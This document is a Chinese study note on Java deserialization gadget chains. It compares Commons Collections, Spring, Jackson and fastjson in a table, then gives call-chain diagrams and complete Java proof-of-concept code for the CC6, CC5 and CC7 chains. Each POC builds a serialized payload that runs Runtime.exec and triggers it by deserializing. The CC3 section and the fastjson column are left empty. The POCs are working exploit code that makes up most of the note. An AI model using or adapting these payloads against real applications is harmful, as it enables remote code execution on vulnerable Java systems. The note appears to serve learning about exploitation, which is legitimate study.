收获
Gadget 库对比笔记
对比维度:入口方法、入口类、数据格式、类型信息、多态开启、对象创建、私有字段填充、危险方法触发、核心利用类、依赖库、利用条件、JDK限制、利用难度、通用性
| 对比维度 |
Commons Collections |
Spring Core |
Jackson |
fastjson |
| 入口方法 |
readObject() |
@RequestBody+DataBinder |
readValue() |
|
| 入口类 |
ObjectInputStream |
RequestResponseBodyMethodProcessor |
ObjectMapper |
|
| 数据格式 |
二进制序列化数据流 |
JSON |
JSON |
|
| 类型信息 |
在数据流中 |
@class字段 |
@class字段 |
|
| 多态开启 |
原生支持 |
Spring Boot 1.x自动开启 |
enableDefaultTyping()手动设置 |
|
| 对象创建 |
反序列化机制创建 |
无参构造器+BeanWrapper |
无参构造器+反射 |
|
| 私有字段填充 |
反序列化机制填充 |
BeanWrapper+反射 |
反射 |
|
| 危险方法触发 |
InvokerTransformer.transform() |
getOutputProperties() |
getOutputProperties() |
|
| 核心利用类 |
InvokerTransformer,ChainedTransformer,LazyMap |
TemplatesImpl |
TemplatesImpl |
|
| 依赖库 |
Commons-Collections3.1/4.0 |
spring-web、spring-beans、jackson-databind |
jackson-databind |
|
| 利用条件 |
无其他要求 |
Spring Boot1.x+@RequestBody Object |
enableDefaultTyping() |
|
| JDK限制 |
CC1要求jdk版本小于8u71,cc6无要求 |
jdk8+含有TemplatesImpl类 |
jdk8+含有TemplatesImpl类 |
|
| 利用难度 |
低 |
中 |
中 |
|
| 通用性 |
高 |
低(特定框架) |
中(特定配置) |
|
各维度说明
| 维度 |
说明 |
| 入口方法 |
反序列化时自动调用的方法(通常为 readObject) |
| 入口类 |
在反序列化时被触发、启动整个调用链的类 |
| 数据格式 |
序列化数据的组织方式(字节流/JSON/XML等) |
| 类型信息 |
序列化格式中是否包含完整的类类型信息 |
| 多态开启 |
是否支持多态反序列化(@type / enableDefaultTyping) |
| 对象创建 |
反序列化时对象的创建方式(构造器/Unsafe/反序列化专有机制) |
| 私有字段填充 |
反序列化时能否绕过构造器直接填充私有字段 |
| 危险方法触发 |
最终触发命令执行/反射调用的关键方法 |
| 核心利用类 |
Gadget链中起关键作用的类 |
| 依赖库 |
利用链依赖的第三方库及版本范围 |
| 利用条件 |
成功利用需要满足的条件 |
| JDK限制 |
不同JDK版本对利用链的影响 |
| 利用难度 |
构造POC的复杂度、对环境的依赖程度 |
| 通用性 |
该Gadget库在不同Java应用中的普及程度 |
CC6链调用链路图
HashMap.readObject()
|
HashMap.hash()
|
HashMap.hashCode()
|
TiedMapEntry.hashCode()
|
TiedMapEntry.getValue()
|
LazyMap.get()
|
ChainedTransformer.transform()
|
ConstantTransformer.transform() -->输出Runtime.class
|
InvokerTransformer.transform() -->输出Method对象getRuntime
|
InvokerTransformer.transform() -->输出Runtime实例
|
InvokerTransformer.transform() -->执行命令
CC6完整POC
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
public class CC6_Problem_Version {
public static void main(String[] args) throws Exception {
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer i1=new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer i2=new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
);
InvokerTransformer i3=new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] ts=new Transformer[]{ct,i1,i2,i3};
ChainedTransformer chain=new ChainedTransformer(ts);
HashMap map=new HashMap();
Map lazyMap=LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry entry=new TiedMapEntry(lazyMap, "key");
HashMap entrymap=new HashMap();
entrymap.put(entry, "value");
lazyMap.remove("key");
Field f=lazyMap.getClass().getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap, chain);
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
oos.writeObject(entrymap);
oos.flush();
oos.close();
byte[] data=baos.toByteArray();
System.out.println("Serialized data length: " + data.length);
ByteArrayInputStream bais=new ByteArrayInputStream(data);
ObjectInputStream ois=new ObjectInputStream(bais);
ois.readObject();
ois.close();
System.out.println("Deserialization completed.");
}
}
CC5调用链
BadAttributeValueExpException.readObject()
|
val.toString()
|
TiedMapEntry.toString()
|
TiedMapEntry.getValue()
|
LazyMap.get()
|
ChainedTransformer.transform()
|
ConstantTransformer.transform() -->输出Runtime.class
|
InvokerTransformer.transform() -->输出Method对象getRuntime
|
InvokerTransformer.transform() -->输出Runtime实例
|
InvokerTransformer.transform() -->执行命令
CC5完整POC
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
public class CC5POC {
public static void main(String[] args) throws Exception {
ConstantTransformer ct =new ConstantTransformer(Runtime.class);
InvokerTransformer i1=new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]});
InvokerTransformer i2=new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]});
InvokerTransformer i3=new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] transformers = new Transformer[]{ct,i1,i2,i3};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap map = new HashMap();
LazyMap lazyMap=(LazyMap)LazyMap.decorate(map, chain);
TiedMapEntry entry=new TiedMapEntry(lazyMap, "key");
BadAttributeValueExpException val=new BadAttributeValueExpException(null);
Field v=BadAttributeValueExpException.class.getDeclaredField("val");
v.setAccessible(true);
v.set(val, entry);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeObject(val);
out.flush();
out.close();
byte[] payload = bos.toByteArray();
System.out.println("Payload generated successfully!");
ByteArrayInputStream bis = new ByteArrayInputStream(payload);
ObjectInputStream ois = new java.io.ObjectInputStream(bis);
ois.readObject();
ois.close();
System.out.println("Payload deserialized successfully!");
}
}
CC7调用链
Hashtable.readObject()
|
Hashtable.reConsititutionPut()
|
LazyMap.equals()
|
AbstractMapDecorator.equals()
|
HashMap.equals()
|
AbstractMap.equals()
|
LazyMap.get()
|
ChainedTransformer.transform()
|
ConstantTransformer.transform() -->输出Runtime.class
|
InvokerTransformer.transform() -->输出Method对象getRuntime
|
InvokerTransformer.transform() -->输出Runtime实例
|
InvokerTransformer.transform() -->执行命令
CC7完整POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception {
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
InvokerTransformer it = new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2 = new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
);
InvokerTransformer it3 = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] transformers = new Transformer[]{};
ChainedTransformer ctChain = new ChainedTransformer(transformers);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", 1);
map2.put("zZ", 1);
Map m1 = LazyMap.decorate(map1, ctChain);
Map m2 = LazyMap.decorate(map2, ctChain);
Hashtable ht = new Hashtable();
ht.put(m1, 1);
ht.put(m2, 1);
ctChain= new ChainedTransformer(new Transformer[]{ct,it,it2,it3});
Field f = LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(m2, ctChain);
f.set(m1, ctChain);
m2.remove("yy");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ht);
oos.flush();
byte[] bytes = baos.toByteArray();
oos.close();
System.out.println("Payload serialized successfully!");
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
System.out.println("Payload executed successfully!");
}
}
CC3调用链
CC3完整POC